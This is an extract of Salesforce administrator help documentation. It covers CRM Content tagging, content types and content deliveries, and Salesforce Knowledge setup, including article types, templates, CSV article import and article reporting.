contains tags that are no longer permitted by the rule, the tags remain assigned to the content until it is edited or revised.
For example, if the Q3Forecast document has a market indicators tag and market indicators is not a
suggested tag according to the new restricted-tagging rule, market indicators is removed from Q3Forecast only
when a user publishes a new version of the file or edits the file's tags on the content details page.
• Avoid using too many tags. The search engine helps users find specific content, whereas tags enable users to browse and
subscribe. Therefore, excessive tagging creates unnecessary clutter.
• You can't change or delete tag names. You can remove tags from a document, but that doesn't delete the tag.
• Tags are case insensitive. You can't have two tags with the same name even if they use different upper and lowercase letters.
The case of the original tag is always used.
See Also:
Viewing and Editing Workspaces
Creating Workspaces
1173
Customize Restricting Content Types
Content types are the containers for custom fields in Salesforce CRM Content; content types determine which fields are
available during the publishing process and how the fields display on the content details page. If multiple content types are
available in a workspace, users select a content type after contributing files, content packs, Google docs, or Web links.
Administrators can create content types in Setup and then choose which content types are available in a particular workspace.
Administrators can also choose the default content type for a workspace.
To restrict the content types available in a workspace:
• Allow content with any content type to be linked to this workspace—Select this option if you
want to enable content published in other workspaces to be shared to the workspace where you have restricted content
types. The content in other workspaces can be shared regardless of the content types used.
• Do not apply content type restrictions to existing content—Select this option if you do not want
to receive warnings regarding existing content in the workspace. You will not be alerted if existing content uses content
types that you exclude from the workspace. This option refers to notifications only; existing content is not affected by
restricted content types.
6. For each content type that you want to allow in the workspace, move it from the Available Content Types list to the
Selected Content Types list.
7. Click Save.
1174
Customize Setting up Content Deliveries
• When sharing a file into a workspace, the file's content type must be permitted in the shared workspace unless the Allow
content with any content type to be linked to this workspace option is selected for the shared
workspace.
See Also:
Viewing and Editing Workspaces
Setting Content Types
Creating Workspaces
Note: Microsoft Office 2007 file previews are currently available through a pilot program.
A content delivery allows you to easily convert documents such as Microsoft® PowerPoint and Word files into an optimized
web-based version for easy online viewing. Once you create your delivery, you can send its encrypted URL to any recipient,
such as leads, customers, partners, and colleagues, and then track how often the content is viewed or downloaded. In addition
to tracking, content deliveries provide several benefits over sending files as attachments, such as giving you control over how
long the delivery is available to viewers and whether a viewer can download a file or see it online only. Content deliveries can
be created from the Content Deliveries related list on most Salesforce.com objects. Salesforce CRM Content users can also
create a content delivery from the content details page or the Related Content related list.
To enable or disable content deliveries for your organization:
1. Click Setup ➤ Customize ➤ Content Deliveries ➤ Settings and select or deselect the Enable content deliveries
checkbox. If you do not have access to the Content Delivery feature, contact Salesforce.com Customer Support to activate
it.
2. If you are enabling content deliveries and want recipients to be able to preview Office 2007 files, first select the Enable
Office 2007 previews in content checkbox from Setup ➤ Customize ➤ Salesforce CRM Content ➤ Settings,
and then select the Enable recipients to preview Office 2007 content deliveries checkbox from Setup
➤ Customize ➤ Content Deliveries ➤ Settings. Some Microsoft Office 2007 features don't display correctly in previews.
3. Choose a default option for content-delivery passwords. If you choose to require a password, users who create a content
delivery receive a password when the delivery is generated; users must send the password and the delivery URL to delivery
recipients. Delivery recipients are prompted for the password when they click the content-delivery URL:
• Password protection is optional and defaults to OFF—If this option is selected, users can choose to require a password
when they create a content delivery, but the Require Password to Access Content field on the create-delivery
wizard is not checked by default.
1175
Customize Setting up Content Deliveries
• Password protection is optional and defaults to ON—If this option is selected, the Require Password to Access
Content field on the create-delivery wizard is checked by default. Users can uncheck the option if they do not want
to require a password.
• Password protection is required—If this option is selected, a password is generated each time a content delivery is
created. Users cannot opt out of the password requirement.
Note: Content-delivery passwords display with the content-delivery URL when the delivery is created. You
can also access the password on the delivery detail page for the life of the content delivery.
When content delivery is enabled, all users should add the Content Deliveries related list to their page layouts for leads, business
accounts, contacts, opportunities, cases, campaigns, or custom objects. All Salesforce CRM Content users will see a Deliver
Content option on each content details page. For detailed instructions on creating a content delivery, see Creating Content
Deliveries on page 279.
Implementation Tips
• To ensure quality of service, the total number of content-delivery views allowed within a 24-hour period is limited to
10,000. Also, the amount of bandwidth allocated to content deliveries is limited to 1 GB within a 24-hour period. If a
recipient tries to view a delivery when a rate limit has been exceeded, a notification displays that asks the viewer to try again
later. Salesforce.com may be able to increase rate limits on an exception basis. For more information, contact your sales
representative.
• When you create a content delivery, Salesforce.com copies the original file and creates a new version of that file especially
for online viewing. Note the following information concerning supported file types:
- Microsoft® Office 97 through Microsoft Office 2007 Word, Excel, and PowerPoint files are supported for online views.
- Adobe® PDF files are supported for online views, but copy-protected PDFs are not.
- JPG, BMP, GIF, and PNG are supported for online views.
- Any document over 25 MB is not supported for online views.
You can create a content delivery with any file type, but if the file type is not supported for online viewing, your recipient
can only download the document in its original file format.
• Always preview your content delivery before sending the URL to recipients. In some cases, formatting in the original file
such as colors and non-standard fonts may not display properly in the online version. If you are not happy with the quality
of the online version, the content-delivery wizard gives you the option of making your content available for download in
its original file format.
• Content deliveries require Adobe Flash version 9.0.115. If a recipient does not have Flash installed, a download option
displays.
• Customer Portal and partner portal users cannot create content deliveries.
• Only the creator of a content delivery can delete the delivery record or edit details such as the expiration date.
• Each time a content delivery's URL is clicked, Salesforce.com records the click as one view and distinguishes between
internal and external views. An internal view is a view by a Salesforce.com user, for example, clicking the delivery URL on
the delivery detail page or the View option on the Content Deliveries related list is an internal view. The Content Deliveries
related list provides a count of all views for each delivery. Open the delivery details page to see information about a specific
view.
Note: For password-protected content deliveries, a view is recorded when the recipient clicks on the delivery URL
regardless of whether he or she enters the password and views the delivery.
• To delete a Salesforce CRM Content file that is associated with a content delivery, first delete the content delivery.
• Salesforce CRM Content users can deliver content from shared workspaces or a personal workspace.
1176
Customize Content Delivery Fields
Best Practices
• After creating a content delivery, always preview it before sending the URL to your recipients to ensure that the formatting
in the original file displays properly in the online version. For example, colors and non-standard fonts may not display
properly in the preview player. If you are not happy with the quality of the online version, click Previous and choose to
make your content available in its original file format or as a PDF file only. Your recipients will be able to download the
file, and you can track whether the file was downloaded on the delivery detail page.
• Animation and timings in PowerPoint files are not supported in the content delivery's online version. Hyperlinks in all
file types are also unsupported. See the implementation tips for a complete list of supported file types.
• Because content-delivery URLs can be sent to leads, customers, or any unauthenticated user, Salesforce recommends
requiring password protection if your users will send confidential documents via content delivery. The options below allow
you to select an organization-wide default for content-delivery password protection.
• If you are a Salesforce CRM Content user and want recipients of your content delivery to always see the latest version of
a file rather than the version available on the delivery-creation date, open the delivery detail page and click Edit. Select
the Content Delivery Opens Latest Version checkbox.
• If you select Notify Me of First View or Download, you will receive an email when the content delivery is viewed
for the first time.
Storage Implications
In Salesforce CRM Content, file storage is consumed when content is published to shared workspaces or saved to a private
workspace. Creating content deliveries does not have an additional affect on storage limits, but users who frequently upload
files to their personal workspaces for the purpose of content delivery should consider their organization's file-storage limits.
Administrators can use reporting to identify which users are consuming the most storage and which files are largest in size.
For non-Salesforce CRM Content users, file storage is consumed each time a content delivery is created. Once uploaded to
Salesforce.com, a file cannot be reused for multiple content deliveries. Creating multiple content deliveries with the same file
requires uploading the file each time. Deleting a content delivery deletes the source file in Salesforce.com, thus increasing
file-storage space.
For information about storage limits, see Monitoring Resources on page 595.
See Also:
Viewing and Editing Content Deliveries
Salesforce CRM Content Overview
The following table provides a description of the fields (in alphabetical order) that make up a content delivery. These fields
are located on the create-delivery wizard, the Content Deliveries related list, or the delivery details page.
1177
Customize Content Delivery Fields
Field Description
Allow Recipient to View in the Browser If checked, the content delivery can be viewed online in a
custom Web page. On the delivery details page, this field is
labeled Allow View in the Browser.
Allow Recipient to Download as PDF If checked, the content delivery converts Microsoft® Word,
Excel, and PowerPoint files into PDF files and gives the
recipient the option of downloading the PDF. If the file you
uploaded was not a PDF, Word, Excel, or PowerPoint file,
this option does not appear in the create-delivery wizard. On
the delivery details page, this field is labeled Allow
Download as PDF.
Allow Download in Original Format If checked, the content delivery allows recipients to download
the original file. In the create-delivery wizard, this field is
called Allow Recipient to Download as [file
type] where [file type] is the original file's file type, such
as .ppt, .pdf, or .doc.
Author For Salesforce CRM Content files, the user who published
the file. (Read only)
Content Delivery Name The name assigned to the content delivery. By default, the
Content Delivery Name includes the file name and the
creation date.
Content Delivery Opens Latest Version For Salesforce CRM Content files, this flag indicates that the
recipient of a content delivery sees the most current version
of a file. For example, if a file is updated between the
delivery-creation date and today's date, a recipient who views
the delivery today sees the newest version.
Content Delivery Expires A flag that indicates whether access to the content delivery
will expire on the expiration date. In the create-delivery wizard,
this flag corresponds to the checkbox next to the Remove
access to content on field.
Created By The user who created the content delivery, including creation
date and time. (Read only)
Description For Salesforce CRM Content files, the description provided
when the file was published. (Read only)
Expiration Date The date on which the content delivery can no longer be
viewed. In the create-delivery wizard, this is the date entered
in the Remove Access to Content on field.
File Downloaded A flag that indicates whether a file in the content delivery was
downloaded. For example, if a content delivery includes
options to view the content in the browser, download the
content in its original file format, and download the content
as a PDF file, this flag is checked if the recipient downloads
the original file or the PDF file. (Read only)
1178
Customize Content Delivery Fields
Field Description
Internal View A flag that indicates whether a Salesforce.com user viewed
the content delivery. A view is considered internal if the user
opens the delivery URL from within Salesforce.com, for
example by clicking View on the Content Deliveries related
list or clicking the delivery URL on the delivery detail page.
If the user copies the URL and pastes it into his or her
browser, the view is considered external. (Read only)
Last Modified By The user who last modified the content delivery, including
modification date and time. (Read only)
Last Viewed The date and time on which the content delivery was last
viewed. A view is one click of the content-delivery URL. (Read
only)
Notify Me of First View or Download If checked, the user who created the content delivery receives
an email notification the first time the content delivery URL
is clicked.
Owner Name The user who owns the content delivery. (Read only)
Related To The record that the content delivery is associated with, such
as an account, opportunity, or custom object. Users with
sharing access to the record can click it to view more details.
Require Password to Access Content If checked, the recipient must enter the provided password
before viewing the content delivery. The password appears
when the content delivery is generated and for the life of the
delivery on the delivery detail page.
Title For Salesforce CRM Content files, the title of the file included
in the content delivery. (Read only)
View Count Total number of views for the content delivery, including
internal and external. (Read only)
See Also:
Creating Content Deliveries
Viewing and Editing Content Deliveries
1179
Customize Setting Up Salesforce Knowledge
Basic set up for Salesforce Knowledge includes creating at least one article type, enabling Salesforce Knowledge, creating data
categories, and ensuring that users have appropriate access.
After initial setup you can enable numerous options, including expanding the knowledge base to customers, partners, and
public website visitors. Use the following sections to set up Salesforce Knowledge and then customize it for your needs.
2. Click Setup ➤ Customize ➤ Knowledge ➤ Settings. Confirm that you want to enable Salesforce Knowledge and click
Enable Knowledge.
3. Create the category groups and individual categories that article managers will assign to articles. Categories help knowledge
agents, customers, partners, and visitors find articles in the knowledge base. See Managing Data Categories on page 1218
for more details.
4. After setting up your data categories, you can control article visibility based on category. By default, Salesforce Knowledge
users have access to all articles associated with any category. To restrict article visibility, you can specify that certain categories
are visible only to certain roles in the role hierarchy. See Editing Role-Based Category Group Visibility on page 1229 for
details.
5. Give users access to Salesforce Knowledge by assigning each user a Salesforce Knowledge feature license:
a. Click Setup ➤ Manage Users ➤ Users.
1180
Customize Setting Up Salesforce Knowledge
b. Click Edit next to the user's name or click New to create a new user.
c. Select the Knowledge User checkbox.
6. Verify that the profile assigned to each user has the appropriate Salesforce Knowledge user permissions enabled. Note the
following:
• Users who will create article types and modify other settings in Setup ➤ Customize ➤ Knowledge need the “Manage
Salesforce Knowledge” user permission. This permission is on by default in the System Administrator profile.
• Users who will find and view articles need the “View Articles” permission. This permission provides full access to the
Articles tab. “View Articles” is on by default in all standard profiles.
• Users who will create, edit, assign, publish, archive, or delete articles need the “Manage Articles” permission. We
recommend creating an “Article Manager” custom profile that includes the “Manage Articles” and “View Articles”
permissions. With these permissions the article manager has full access to the Article Management and Articles tabs.
If you do not want all article managers to have full access to article-management tasks, you can assign actions to groups
of article managers.
For a description of each user permission, see Administrative and General Permissions on Profiles on page 475.
7. Make the Article Management and Articles tabs visible by adding them to a custom app or instructing your users to add
the Article Management or Articles tabs to an existing tab set. Only users with the “View Articles” user permission can
see the Articles tab, and only users with the “Manage Articles” user permission can see the Article Management tab.
6. If your organization uses Salesforce Chatter and you want to allow users to follow articles, enable feed tracking for article
types.
7. If you want visitors to your public website to view Salesforce Knowledge articles, install the Sample Public Knowledge Base
for Salesforce Knowledge app from the AppExchange. For detailed instructions, see Creating a Public Knowledge Base with
Salesforce Knowledge.
See Also:
What is Salesforce Knowledge?
Managing Article Types
What are Data Categories?
Managing Salesforce Knowledge Synonyms
Reporting on Articles
Creating a Public Knowledge Base with Salesforce Knowledge
Salesforce Knowledge Implementation Guide
1181
Customize Customizing Salesforce Knowledge Settings
Note: Before enabling Salesforce Knowledge, you must create at least one article type.
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly
find and view the articles they need. For more information, see What is Salesforce Knowledge? on page 2341.
Click Setup ➤ Customize ➤ Knowledge ➤ Settings. If Salesforce Knowledge has not been enabled in your organization,
an Enable Knowledge option is available. If Salesforce Knowledge is already enabled, you can configure the following optional
settings:
Knowledge Base Language
By default, the knowledge-base language is the same as your organization's language. The search engine uses the
knowledge-base language value to search for articles. Modify the value only if all your authors will write articles in a
language other than the default organization language.
See Also:
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge
Useful Salesforce Knowledge Terminology
1182
Customize Managing Article Types
When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel.
After creating your article types, you can customize, edit, and delete them. Click Setup ➤ Customize ➤ Knowledge ➤
Article Types to display the Article Types list page, which provides a list of all the article types defined for your organization.
From the Article Types list page you can:
See Also:
Defining Article Types
Using the Fields Related List
Modifying Article-Type Layouts
Assigning Article-Type Templates
1183
Customize Defining Article Types
When creating an article, the author must select an article type. Article types, such as FAQs and Tutorials, provide the format
and structure to control how an article displays for each audience, known as a channel. For each article type you can create
custom fields, customize the layout by adding or removing sections and fields, and choose a template for each channel.
To create an article type:
Field Description
Label A name used to refer to the article type in any user interface
pages.
Plural Label The plural name of the object. If you create a tab for this
object, this name is used for the tab.
Gender If it is appropriate for your organization’s default language,
specify the gender of the label. This field appears if the
organization-wide default language expects gender. Your
personal language preference setting does not affect whether
the field appears. For example, if the organization’s default
language is English and your personal language is French,
you are not prompted for gender when creating an article
type.
Starts with a vowel sound If it is appropriate for your organization’s default language,
check if your label should be preceded by "an" instead of "a."
Object Name (Read only) A unique name used to refer to the article type
when using the Force.com API. In managed packages, this
unique name prevents naming conflicts on package
installations. The Object Name field can contain only
underscores and alphanumeric characters. It must be unique,
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
1184
Customize Defining Article Types
Field Description
Description An optional description of the article type. A meaningful
description will help you remember the differences between
your article types when you are viewing them in a list.
Deployment Status Indicates whether the article type is visible outside Setup.
In Development means article managers cannot choose this
article type when creating articles. Only select Deployed
after you are done creating the article type.
4. Click Save.
5. On the article type detail page, complete the following information:
See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Assigning Article-Type Templates
Useful Salesforce Knowledge Terminology
On the Fields related list on the article-type detail page, you can:
• Edit the Summary, Title, and URL Name standard fields. These fields are required on all article types and cannot be
deleted.
• Click New to create a custom field. All article types should have at least one rich text area field for writing article text and
a File field for attaching documents to articles. For help deciding which type of custom fields your article type needs, review
the custom fields for article types.
1185
Customize Defining Article Types
• Click Edit Layout to rearrange or remove fields and modify sections for the article type.
See Also:
Adding Custom Fields to Article Types
Custom Field Types on Articles
Modifying Article-Type Layouts
Setting an Article's Field-Level Security
Create custom fields to store information that is important to your articles. Before you begin, determine the type of custom
field you want to create. The only standard fields provided on article types are Summary, Title, and URL Name, so at
minimum you'll want to create a field where authors can write the body of the article.
Note: Authors can view the URL Name when they create or edit an article. The URL Name does not appear to end
users viewing published articles.
7. Set the field-level security to determine whether the field should be visible and editable or read only for specific profiles,
and click Next. Field-level security allows you to control which fields are visible in different channels.
1186
Customize Defining Article Types
8. If you do not want the field to be added automatically to the article-type layout, uncheck Yes, add this custom
field to the layout.
9. Click Save to finish or Save & New to create more custom fields.
10. Optionally rearrange your custom fields on the article-type layout.
Note: Creating fields may require changing a large number of records at once. To process these changes efficiently,
Salesforce.com may queue your request and send an email notification when the process has completed.
Caution: You will lose your data if you convert a custom field on an article type into any other field type. Do not
convert a custom field on an article type unless no data exists for the field.
See Also:
Changing Custom Field Type
Setting an Article's Field-Level Security
Modifying Article-Type Layouts
Assigning Article-Type Templates
Useful Salesforce Knowledge Terminology
Field-level security lets administrators restrict users’ access to specific fields on detail and edit pages. For example, you can
make a “Comment” field in an article visible for Internal App profiles but not for Customer Portal profiles.
If using both article-type layout and field-level security to define field visibility, the most restrictive field access setting always
applies. For example, if a field is hidden in the article-type layout, but visible in the field-level security settings, the layout
overrides security settings and the field won't be visible. Some user permissions on profiles override both page layouts and
field-level security settings. For example, users with the “Edit Read Only Fields” permission can always edit read-only fields
regardless of any other settings.
Important: Field-level security doesn't prevent searching on the values in a field. To prevent users from searching
and retrieving records that match a value in a field hidden by field-level security, contact salesforce.com Customer
Support for assistance with setting up your organization to prevent unwanted access to those field values.
1187
Customize Defining Article Types
• For profiles:
• For fields:
Note: These field access settings override any less-restrictive field access settings on the article-type layouts.
3. Click Save.
After setting field-level security, you can modify the article-type layouts to organize the fields on detail and edit pages.
See Also:
Adding Custom Fields to Article Types
Modifying Article-Type Layouts
Useful Salesforce Knowledge Terminology
1188
Customize Defining Article Types
1189
Customize Defining Article Types
See Also:
Changing Custom Field Type
Useful Salesforce Knowledge Terminology
Adding Custom Fields to Article Types
Article-type layouts determine which fields users can view and edit when entering data for an article. They also determine
which sections appear when users view articles. The format of the article, for example whether layout sections display as subtabs
or as a single page with links, is defined by the article-type template. Each article type has only one layout, but you can choose
a different template for each of the article type's four channels.
Tip: You can also use field-level security to hide fields on article types. For example, if you publish the same article
in the internal app and the Customer Portal, you may want to use field-level security to hide a custom field such as
Internal Comments from Customer Portal users.
• The layout editor consists of two parts: a palette on the upper portion of the screen and the layout on the lower portion
of the screen. The palette contains the available fields and a section element. The layout contains an Information section
and space for you to add sections. By default, all custom fields are included in the Information section.
1190
Customize Defining Article Types
Note: The Summary, Title, and URL Name standard fields do not display in the layout. The Summary
appears in a read-only Properties section at the top of the published article. Also included in this header are
the First Published, Last Modified, and Last Published fields.
• To add a new section, drag and drop the section element into the palette
• To change the name of a section, click its title. You cannot rename the Information section.
• To remove a field from a section, drag it to the right side of the palette or click the x icon ( ) next to the field.
• To remove a section from the article-type layout, click the x icon ( ) next to the section name.
• Use the undo and redo buttons to step backwards and forwards, respectively.
• Use the following keyboard shortcuts:
- Undo = Ctrl+Z
- Redo = Ctrl+Y
- Quick Save = Ctrl+S
• To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
• To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for article-type
layouts that have large numbers of items available in the palette.
• To save your changes and continue editing the article-type layout, click Quick Save.
• To save your changes when you are done customizing the article-type layout, click Save. If you navigate away from
your article-type layout before clicking save, your changes will be lost.
See Also:
Defining Article Types
Adding Custom Fields to Article Types
Setting an Article's Field-Level Security
Assigning Article-Type Templates
1191
Customize Defining Article Types
If you choose the Table of Contents template, the sections you defined in the layout appear on one page with hyperlinks to
each section title.
See Also:
Modifying Article-Type Layouts
Defining Article Types
Useful Salesforce Knowledge Terminology
1192
Customize Defining Article Types
<apex:page standardController="Offer__kav">
</apex:page>
8. If your article type has a File field, you can allow users to download the field's content. In the following example, the article
type is Offer, the name of the File field is my_file, and the text that appears as a link is Click me:
<apex:outputLink value="{!URLFOR($Action.Offer__kav.FileFieldDownload,
Offer__kav.id, ['field'=$ObjectType.Offer__kav.fields.my_file__Body__s.name])}">Click
me</apex:outputLink>
1193
Customize Defining Article Types
Note: If the File field is empty (meaning the author didn't upload a file), the link still appears on the published
article but has no function. If you do not want the link to appear when the File field is empty, replace Click me
in the example with the name of the file, for example, {!Offer__kav.my_file__Name__s}.
9. Click Save. Your custom template can now be assigned to any channel on the article type. See Assigning Article-Type
Templates on page 1191 for details.
'Offer' is the name of one of my article types. That article type must have a file field of course, and in the example above, the
name of the file field is 'my_file'. This snippet of apex page code will display a link to dowlnoad the contents of the specified
file field. If the file field is empty (no file uploaded), then the link still shows up, but when you click on the link, nothing
happens. Of course, you can replace "Download me" in the example above by whatever text you want, including for example
the name of the file, by replacing it by {!Offer__kav.my_file__Name__s} If you do that and the file field is empty (no uploaded
file), then the link will not even appear.
See Also:
Developer's Guide: Visualforce Developer's Guide
Managing Visualforce Pages
Managing Article Types
Useful Salesforce Knowledge Terminology
1194
Customize Assigning Public Groups to Article Actions
• Salesforce.com does not display deleted article types in the Recycle Bin with other deleted records. Instead, deleted article
types appear in the Deleted Article Types list on the article list view page for 45 days. During this time you can restore the
article type and its articles, or permanently erase the article type and its articles. After 45 days, the article type and its articles
are permanently erased.
• If a user clicks a bookmark to a deleted article's URL, an Insufficient Privileges message displays.
See Also:
Defining Article Types
Useful Salesforce Knowledge Terminology
The “Manage Articles” user permission provides Salesforce Knowledge users with full access to the Article Management tab,
including the ability to create, edit, assign, publish, archive, and delete articles. Administrators can use public groups and the
Article Actions page to restrict article-management tasks to specific users:
1. Click Setup ➤ Customize ➤ Knowledge ➤ Article Actions and decide which users need to perform which actions. For
example, you might decide that a group named Publishers needs to publish, archive, and delete articles and that a group
named Editors needs to edit and assign articles.
2. Create a public group for each set of users.
Note: Although you can add any Salesforce.com user to a public group, only users with the “Manage Articles”
user permission will be able to perform article actions.
1195
Customize Importing Articles
See Also:
Creating and Editing Groups
Setting Up Salesforce Knowledge
Administrative and General Permissions on Profiles
Importing Articles
Available in: Enterprise, Unlimited, and Developer Editions
You can import articles from an existing knowledge base into Salesforce Knowledge.
After setting up Salesforce Knowledge, complete the tasks below to import articles:
1196
Customize Importing Articles
If your articles contain HTML files, use an article type that contains a rich text area field and ensure that the HTML is
compliant with the tags and attributes supported in the rich text area field.
Note: Test your import using a small set of articles.
2. In the first row, specify the article type's fields and metadata (such as data categories or channels). Enter one item in each
column. You can use the following fields and metadata to import content:
• Standard or custom fields—refer to an article type's standard fields using field names and refer to custom fields using
API names. Leaving a row cell empty may cause your articles to be skipped if the related article-type field is mandatory.
• Rich text area field—use the rich text area custom fields to import HTML files or images. Refer to an article type's
rich text area field using its API name.
• File field—use the file custom fields to import any file type (.doc, .pdf, .txt, etc.). Refer to an article type's file field
using its API name.
• To categorize the imported articles, use Category groups; refer to a category group using its unique name prefixed with
datacategorygroup. For example, use datacategorygroup.Products to specify the category group Products.
• To specify where the imported articles are available, use the keyword Channels.
3. In subsequent rows, specify the articles you want to import. Use one row per article and enter the appropriate information
in each article type field column or metadata column.
• Standard or custom fields—enter the articles' data for each field, except for rich text area fields where you must enter
the relative path to the corresponding HTML file in your zip.
• Rich text area field—always enter the HTML file path relative to the location of the CSV file. Never enter raw text.
If the specified path does not exist, the related article is not imported. Note the following information about importing
HTML and images:
- We recommend that you create a folder for the HTML files (for example, /data) and a separate folder for the
images (for example, data/images).
- To import images, include the images in an HTML file using the <img> tag and src attribute. Ensure that the
src value is a relative path from the HTML file to the image folder.
- Images must be PNG, GIF, or JPEG files.
- Each image file cannot exceed 1 MB.
- Each HTML file cannot exceed 32 KB.
- If a date does not match the date format specified in the property file, the related article is not imported.
- If an HTML file references a file that isn't allowed, the related article is not imported.
- If an HTML file references an image that is missing, the related article is imported without the image.
• File field—enter the path relative to the file's location. If the specified path does not exist, the related article is not
imported. Note the following information about importing files:
1197
Customize Importing Articles
- We recommend that you create a folder for your files (for example, /files).
- Each file must not exceed 5 MB.
• Category groups—use category unique names to categorize articles. Use the plus symbol (+) to specify more than one
category (for example, Laptop+Desktop).
Note: Leaving the cell row empty causes your article to be set to No Categories. Also, if you specify a category
and its parent (for example, Europe+France) the import process skips the child category France and keeps the
parent category Europe, because application of a parent category implicitly includes the category's children.
Use the plus (+) symbol to specify more than one channel (for example, application+sites+csp to make an article
available in all channels).
The following example CSV file imports articles in a Product Offer article type. The CSV file contain titles, summaries, and
descriptions. It also classifies the articles in the category group Products and makes them available for specific channels. The
description__c field is a rich text area and only supports paths to HTML files. The summary__c field is a text field
and only supports raw text. The “Best Desktop Computer Deals” article has no summary; the cell is left blank because the
summary__c field is not mandatory.
Title,summary__c,description__c,datacategorygroup.Products,Channels
Free Digital Camera Offer,"This is every photo lover's dream! Get the new Digital Camera.
This amazing new camera includes 18-55MM Lens and Telephoto
Lens!",data/freecamoffer.html,Consumer_Electronics,application+csp
Best Desktop Computer Deals,,data/bestdeskcomputerdeals.html,Desktop,application+csp
Free Shipping on Laptop and Desktops,,data/freeshiplaptop.html,Laptop+Desktops,application+csp
1198
Customize Importing Articles
Note: You must specify only Java™ date formats; see Java date formats RFC (Request For Comments) on
http://java.sun.com/. Make sure the date format is not misleading. For example, if you choose the format yyyy-M-d,
a date entered as 2011111 can be interpreted as 2011-01-11 or 2011-11-01. Specify at least :
• two digits for month and day format (MM, dd)
• four digits for year format (yyyy)
If a date in the CSV file does not match the date format specified in the property file, the related article is not imported.
DateFormat=yyyy-MM-dd
DateTimeFormat=yyyy-MM-dd HH:mm:ss
CSVEncoding=ISO8859_15_FDIS
CSVSeparator=,
RTAEncoding=UTF-8
1199
Customize Importing Articles
1200
Customize Reporting on Articles
See Also:
Custom Field Types on Articles
Managing Articles
Deleting Articles
What is Salesforce Knowledge?
Setting Up Salesforce Knowledge
Reporting on Articles
Available in: Enterprise, Unlimited, and Developer Editions
As an administrator, you can create custom report types so users can create reports about Salesforce Knowledge articles. Custom
report types are the only way to make reports about articles available for your users—Salesforce.com does not provide sample
article reports or a standard report folder for articles.
The following sections explain how to define custom report types, create a public folder that appears on the Reports tab, and
add custom reports to the folder so users can easily access article reports. Field definitions for article reports and a list of tips
are also provided.
1201
Customize Reporting on Articles
• Knowledge Keyword Search—Select if you want to see which keywords have been used to search the knowledge base.
4. Make your choice on the Define Report Records Set page and click Save. If you chose Knowledge Articles as the primary
object, you can associate Article Vote Statistics or Article View Statistics as the secondary object.
5. As needed, remove and rearrange fields from your report layout.
1. On the Reports tab, click Create New Custom Report or Create Report With New Report Builder.
2. Choose the category where your custom report types are stored, for example, Customer Support Reports or Other Reports.
Tip: The Cases with Articles report is available by default in the Customer Support Reports folder.
3. Find your report type and click Next to create your report.
For detailed information about creating a report, see Creating a Custom Report on page 2139 (if you're using the report
wizard) or Selecting a Report Type on page 2153 (if you're using the report builder).
4. When viewing your report, click Save As and save it in the new Article Reports folder if you want to make the report
available to other users.
Field Description
Case Association Count Number of cases attached to the article.
Channel Channel applicable to the given record; possible values include All Channels, Internal
App, Customer Portal, Partner Portal, and Public Knowledge Base. In reports using the
1202
Customize Reporting on Articles
Field Description
Knowledge Articles custom report type, each article has five records (rows): one for each
channel.
Count Depending on the report, the number of votes, views, or searches applicable to the duration
shown (Day, Month, Year).
Created By User who created the article.
Created Date Date the article was drafted. If the article has been published more than once, this is the
original draft date.
Cumulative Count Depending on the report, the total votes, views, or searches for the record.
Date Last date on which activity took place for the record. All records (rows) represent a date,
channel, and role combination.
Duration Depending on the report, indicates whether votes, views, or searches are a daily, monthly,
or yearly aggregation.
First Published Date Date the article was originally published.
Found Indicates whether the keyword shown was found during a search of the knowledge base.
Keyword Search term used to search published articles in the knowledge base.
Last Modified By User who changed the article most recently.
Last Modified Date Date the article was last changed.
Last Published Date Date the article was last published.
Related Role Name of the role that applies to the record. In reports using the Knowledge Article Votes,
Knowledge Article Views, and Knowledge Article Searches custom report types, each
record (row) in the report represents votes, views, or searches per channel per role.
Score Article's average rating on a scale of 1 to 5. Note that scores take into account a half-life
calculation. Every 15 days, if an article has not received a new vote its average rating
moves up or down. This change ensures that over time, older or outdated articles don't
maintain artificially high or low ratings compared to newer, more frequently used articles.
Articles without recent votes trend towards an average rating of three stars.
Title Article title.
Total Sum The total score for an article including the points from all votes. Each vote provides a
number of points:
• 1 Star is −10 points
• 2 Stars is −5 points
• 3 Stars is 0 points
• 4 Stars is +5 points
• 5 Stars is +10 points
Visible in Internal App Indicator that the article is published in the internal app (Articles tab).
1203
Customize Following Articles in Chatter Feeds
Field Description
Visible in Partner Portal Indicator that the article is published in the partner portal.
Visible in Public Indicator that the article is published in the public knowledge base.
Knowledge Base
See Also:
What is a Custom Report Type?
Setting Up Custom Report Types
Customizing Reports
Creating a Custom Report
Feed tracking for Salesforce Knowledge articles is enabled by article type rather than article. To enable feed tracking for article
types:
1204
Customize Modifying Category Group Assignments in Salesforce Knowledge
2. Select an article type. Each article type appears by name in the Object list. For example, if your organization has three
article types named Offer, FAQ, and Warranty, all three appear alphabetically in the Objects list.
3. Select Enable Feed Tracking, then click Save when you're done with the page.
Unlike other objects, individual fields on article types are not tracked. After a user opens a published article and clicks Follow
in the header, posts about that article on the user's home page feed can include:
• If the article is removed from the knowledge base for edit (unpublished). Three Months Free — Al Smith unpublished this
offer
• If the article is republished. Three Months Free — Al Smith published a new version of this offer
• If the article is republished and flagged as new by the publisher. Three Months Free — Al Smith published this new offer
• If the article is archived. Three Months Free — Al Smith archived this offer
The title link in all posts about a specific article opens the current version of that article in the knowledge base, whether
published, archived, or draft. A user without the “Manage Articles” permission who is following an article will not see posts
if the article's status changes from published to draft. When the article is republished, posts about the article resume. Users
with the “Manage Articles” permission see all posts about articles they follow except for article deletions. If an article is deleted
from the knowledge base, all posts about the article disappear from feeds regardless of user.
See Also:
Salesforce Chatter Overview
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology
Defining Article Types
In Salesforce Knowledge, data categories help you classify articles. Authors assign the relevant categories to articles so that
users searching for articles can find and filter by category. For more information, see What are Data Categories? on page 1214
Data categories are organized by category group. After creating category groups, you can decide which groups should be used
for Salesforce Knowledge articles. For example, if your organization uses the Answers tab as well as Salesforce Knowledge,
you may want one category group to be used by the answers community and two other category groups to be used for articles.
Answers and articles can use the same category group.
1205
Customize Setting Up Answers
By default, all the category groups you create are assigned to Salesforce Knowledge. To modify the assignment:
